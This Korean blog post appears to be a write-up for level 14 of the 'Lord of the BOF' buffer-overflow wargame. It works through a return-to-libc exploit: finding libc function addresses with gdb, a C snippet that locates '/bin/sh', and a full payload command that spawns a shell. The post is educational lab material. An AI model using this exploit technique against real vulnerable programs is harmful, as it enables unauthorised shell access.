ii4gsp
LOB - Level14 [bugbear -> giant] 본문
주석을 보면 RTL2라고 되어있다 RTL기법을 사용해야한다.
argv[1][44]에 입력된 값이 execve()함수의 주소와 같아야한다.
라이브러리의 주소를 구해주자
파일을 복사해주고 gdb로 열어 print명령어로 각 라이브러리의 주소를 구해주었다.
system()함수 주소 0x40058ae0
execve()함수 주소 0x400a9d48
exit()함수 주소 0x400391e0
system()함수의 주소를 이용해 "/bin/sh"의 주소도 구해주자.
#include <stdio.h>
int main()
{
int system = 0x40058ae0;
while(memcmp((void*)system, "/bin/sh", 8))
system++;
printf("%x\n", system);
}
"/bin/sh"의 주소를 구하는 소스코드이다.
실행해주도록 하자
"/bin/sh"의 주소는 0x400fbff9이다.
이제 필요한 요소들을 모두 구했으니 페이로드를 구성해보자
buffer + sfp + &execve() + &system() + &exit() + &"/bin/sh"
[44byte] [4byte] [4byte] [4byte] [4byte]
\x0a가 \x00으로 인식하여 매개변수를 ""로 묶어 주어야 한다.
payload
./giant "$(python -c 'print "\x90" * 44 + "\x48\x9d\x0a\x40" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"')"
'시스템 해킹 > LOB' 카테고리의 다른 글
LOB - Level16 [assassin -> zombie_assassin] (0) | 2020.01.26 |
---|---|
LOB - Level15 [giant -> assassin] (0) | 2020.01.25 |
LOB - Level13 [darkknight -> bugbear] (0) | 2020.01.21 |
LOB - Level12 [golem -> darkknight] (0) | 2020.01.21 |
LOB - Level11 [skeleton -> golem] (0) | 2020.01.19 |
Comments